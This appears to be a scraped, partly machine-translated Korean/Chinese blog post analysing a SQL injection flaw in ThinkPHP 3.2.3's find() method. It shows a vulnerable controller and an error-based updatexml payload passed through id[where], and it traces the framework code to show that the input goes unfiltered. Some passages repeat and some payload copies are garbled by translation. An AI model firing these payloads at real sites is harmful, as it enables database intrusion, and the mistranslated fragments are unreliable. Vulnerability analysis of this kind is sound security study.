이 글은 thinkphp에 대한 관련 지식을 제공합니다. 주로 thinkPHP3.2.3sql 주입 취약점과 관련된 문제를 소개하며 여기에는 m 메소드, d 메소드, u 메소드 및 기타 관련 내용도 포함되어 있습니다. . 도움이 되는.
추천 학습: "PHP Video Tutorial"
ThinkPHP의 일반적인 방법 요약: M 방법, D 방법, U 방법 방법, 나는
Thinkphp3.2.3 안전 개발 지침
Building:
첫 번째 단계는 www 디렉토리에 넣는 것입니다(저는 Windows용으로 phpstudy를 사용하고 있습니다)! ! ! !
데이터베이스를 생성하세요. 테이블 이름은 M 다음으로 원하는 이름과 일치해야 합니다
데이터베이스에 연결하기 위한 파일에 대해서는 별로 말할 것도 없고 직접 구성하세요: ThinkPHP/Conf/convention.php
구성 제어 서버: WWWthinkphp3.2.3ApplicationHomeControllerIndexController.class.php
<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller { public function index(){ $this->show('原来内容已经省略,太占地方'); $data = M('user')->find(I('GET.id')); var_dump($data); }}
test:
payload:
?id[ 여기서]=1과 1 = updatexml(1, concat(0x7e,user(),0x7e),1)%23
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));
I和M方法都没有什么问题,真正的问题在于
/ThinkPHP/Mode/Lite/Model.class.php
public function find($options=array()) { // 根据复合主键查找记录 $pk = $this->getPk(); if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里 // 根据复合主键查询 $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) $count++; } if ($count == count($pk)) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 总是查找一条记录 $options['limit'] = 1; // 分析表达式 $options = $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用 $resultSet = $this->db->select($options);//重要的一步
2._parseOptions:因为主要针对options[where]所以无关代码我全删除了
/ThinkPHP/Library/Think/Model.class.php
protected function _parseOptions($options=array()) { if(is_array($options)) $options = array_merge($this->options,$options); // 字段类型验证 if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where']) // 对数组查询条件进行字段类型检查 foreach ($options['where'] as $key=>$val){ $key = trim($key); if(in_array($key,$fields,true)){ if(is_scalar($val)) { $this->_parseType($options['where'],$key); } }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){ if(!empty($this->options['strict'])){ E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']'); } unset($options['where'][$key]); } } } //上面均没用,到现在开始有用:? // 查询过后清空sql表达式组装 避免影响下次查询 $this->options = array(); // 表达式过滤 $this->_options_filter($options);//这里值得注意 return $options; }
3._options_filter
到这就无了
而且上面的操作也会清零 $options,所以这里可能是进错了
所以更正第二部的跟踪,改为
2.select:/ThinkPHP/Library/Think/Db/Driver.class.php
public function select($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $sql = $this->buildSelectSql($options); $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); return $result; }
3.buildSelectSql:地址同上
public function buildSelectSql($options=array()) { if(isset($options['page'])) { // 根据页数计算limit list($page,$listRows) = $options['page']; $page = $page>0 ? $page : 1; $listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20); $offset = $listRows*($page-1); $options['limit'] = $offset.','.$listRows; } $sql = $this->parseSql($this->selectSql,$options); return $sql; }
4.parseSql:地址同上
public function parseSql($sql,$options=array()){ $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'), array( $this->parseTable($options['table']), $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false), $this->parseField(!empty($options['field'])?$options['field']:'*'), $this->parseJoin(!empty($options['join'])?$options['join']:''), $this->parseWhere(!empty($options['where'])?$options['where']:''), $this->parseGroup(!empty($options['group'])?$options['group']:''), $this->parseHaving(!empty($options['having'])?$options['having']:''), $this->parseOrder(!empty($options['order'])?$options['order']:''), $this->parseLimit(!empty($options['limit'])?$options['limit']:''), $this->parseUnion(!empty($options['union'])?$options['union']:''), $this->parseLock(isset($options['lock'])?$options['lock']:false), $this->parseComment(!empty($options['comment'])?$options['comment']:''), $this->parseForce(!empty($options['force'])?$options['force']:'') ),$sql); return $sql; }
5.parseWhere:同上
protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) {//直接满足,直接进入 // 直接使用字符串条件 $whereStr = $where; }else{ // 使用数组表达式 } return empty($whereStr)?'':' WHERE '.$whereStr;}
最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
然后
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
整个过程没有任何过滤,seay分析thinkPHP太飞费劲了
payload不变:
?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23
还是跟踪find函数:
跟踪到这里步入一下,继续跟踪,跟踪到最后会跳出这个函数并且,值依然没有改变,同时步入下一个函数
经核实,步入到了另一个函数中:
继续跟踪buildSelectSql:
继续跟踪parseSql:
最后的代码变成了:
SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
다음 코드가 존재했기 때문에 오류 주입이 성공한 것은 사실입니다: $data = M('user')-> ;find(I('GET.id'));
I 및 M 메서드에는 문제가 없습니다. 실제 문제는
find 메서드에 있습니다. , /ThinkPHP/Mode/Lite/ Model.class.php
?id[where]=1 및 1=updatexml(1,concat(0x7e) ,user(),0x7e),1)%23
🎜🎜아직 찾기 기능 추적 중: 🎜🎜🎜🎜여기를 따라 한 단계씩 들어가 추적을 계속하면 함수가 마지막에 추적에서 벗어나고 값은 변경되지 않고 그대로 유지되며 다음 함수로 들어갑니다. 🎜🎜🎜🎜확인 후, 저희는 다른 기능: 🎜🎜🎜🎜계속 추적 buildSelectSql: 🎜🎜🎜🎜계속 ParseSql을 팔로우하세요. : 🎜🎜 최종 코드는 다음과 같습니다. 🎜🎜 select * from user where 1 및 1 = updatexm L (1, Concat (0x7e, user ( ),0x7e),1)# LIMIT 1
🎜 여전히 디버깅하기 쉽고 기본적으로 많이 필요하지 않습니다. 두뇌 사용🎜🎜추천 학습: "🎜PHP 비디오 튜토리얼🎜"🎜🎜위 내용은 thinkPHP3.2.3의 SQL 주입 취약점에 대해 이야기해 보겠습니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!